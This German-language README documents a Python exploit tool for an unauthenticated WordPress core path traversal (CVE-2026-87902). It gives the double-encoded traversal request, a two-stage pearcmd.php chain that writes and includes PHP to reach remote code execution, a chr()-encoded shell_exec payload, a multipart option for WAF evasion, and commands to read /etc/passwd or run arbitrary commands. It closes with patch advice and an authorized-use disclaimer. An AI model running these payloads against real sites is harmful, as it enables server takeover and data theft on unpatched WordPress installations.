
Python-PoC und Scanner für CVE-2026-87902, einen Path-Traversal in WordPress Core, der zu LFI und PEAR-basierter RCE führt, mit WAF-Bypass und automatisierter Ausnutzung.
| Feld | Wert |
|---|
| CVE | CVE-2026-87902 |
| CVSS | 9.2 (Kritisch) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| CWE | CWE-98 — Unsachgemäße Kontrolle des Dateinamens für Include/Require |
| Betroffen | WordPress 4.7.0 – 7.1.1 |
| Behoben | WordPress 7.1.2 + Backports für alle unterstützten Branches |
| Auth | Keine (unauthentifiziert) |
get_page_template() in wp-includes/template.php ruft urldecode() auf dem pagename-Query-Parameter auf, nachdem die Sanitisierung bereits ausgeführt wurde. Eine doppelt kodierte ../-Sequenz (%252E%252E%252F) passiert PHPs erste Dekodierung als %2E%2E%2F, übersteht sanitize_title_with_dashes() (welches %xx-Sequenzen beibehält) und wird anschließend durch WordPress' späten urldecode()-Aufruf zu ../ dekodiert — wodurch das Theme-Verzeichnis verlassen wird.
Die POST-Methode ist erforderlich, da redirect_canonical() bei Nicht-GET/HEAD-Anfragen frühzeitig zurückkehrt und so verhindert, dass der Pfad vor Erreichen des verwundbaren Codes normalisiert wird.
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
page_id=2&pagename=templates%25252E%25252E%25252F%25252E%25252E%25252F...%25252Findex
1. PHP decodes POST body: templates%252E%252E%252F%252E%252E%252F...%252Findex
2. WP sanitize preserves: templates%2E%2E%2F%2E%2E%2F...%2Findex
3. get_page_template() urldecode(): templates/../../../index
4. locate_template() resolves: wp-content/themes/<theme>/page-templates/../../../index.php
5. file_exists() succeeds → include() executes the file
.php-Dateien außerhalb des Theme-Verzeichnisses werden eingebunden und ausgeführtpearcmd.php-Gadget-Kette (erfordert installiertes PEAR + register_argc_argv=On)Zwei anonyme POST-Anfragen erreichen RCE:
Stufe 1 — pearcmd.php per Traversal einbinden. Der Query-String /?+config-create+/<php-payload>+<output>.php wird zu PEARs argv. Der Befehl config-create schreibt angreiferkontrollierte Daten (inklusive PHP-Tags) in ein beschreibbares Verzeichnis.
Stufe 2 — Die von PEAR geschriebene Datei einbinden. Das eingebettete PHP wird mit Webserver-Rechten ausgeführt.
PHP-Payloads verwenden chr()-Kodierung (<?=shell_exec(chr(105).chr(100))?>), um Anführungszeichen zu vermeiden, die wp_magic_quotes()` escapen würde.
cve-2026-87902.py — automatisierter Checker + LFI-Scanner + PEAR-RCE-Exploit. Verwendet http.client für bytegenaue Request-Kontrolle (keine Re-Encoding durch Bibliotheken).
Python 3.6+ (nur Standardbibliothek — keine pip-Abhängigkeiten)
# Check vulnerability only
python3 cve-2026-87902.py https://target.com --check
# Check with WAF bypass (multipart/form-data)
python3 cve-2026-87902.py https://target.com --check --multipart
# Specify page ID and traversal depth
python3 cve-2026-87902.py https://target.com -p 42 --depth 7
# LFI scan (default targets)
python3 cve-2026-87902.py https://target.com
# LFI scan with custom files
python3 cve-2026-87902.py https://target.com -f etc/passwd wp-includes/pluggable
# RCE via PEAR chain
python3 cve-2026-87902.py https://target.com --rce "id"
# Read a file via RCE
python3 cve-2026-87902.py https://target.com --read /etc/hostname
# Full options
python3 cve-2026-87902.py https://target.com --rce "whoami" \
--pear /usr/local/lib/php/pearcmd \
--output /tmp/wp-rce-payload \
--multipart --timeout 30
page-*-Verzeichnisse--multipart verpackt den Payload in multipart/form-data, um die Mustererkennung von WAFs zu umgehenchr()-kodierten Payloads| Marker | Bedeutung |
|---|---|
[HIT] | Datei wurde erfolgreich eingebunden |
[---] | Normale Antwort (Datei nicht eingebunden) |
[???] | Antwort weicht deutlich ab — eine Untersuchung lohnt sich |
[WAF] | Durch WAF blockiert (403) |
[ERR] | Verbindung fehlgeschlagen |
page-*-Verzeichnis enthalten (z. B. page-templates/)pearcmd.php lesbar + register_argc_argv=On + beschreibbares /tmpAktualisieren Sie auf WordPress 7.1.2 oder die neueste Sicherheitsversion für Ihren Branch (Backports bis 4.7 verfügbar).
Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bug-Bounty-Recherchen bereitgestellt. Verwenden Sie es nur gegen Systeme, für die Sie eine ausdrückliche Testgenehmigung besitzen. Unbefugter Zugriff auf Computersysteme ist illegal.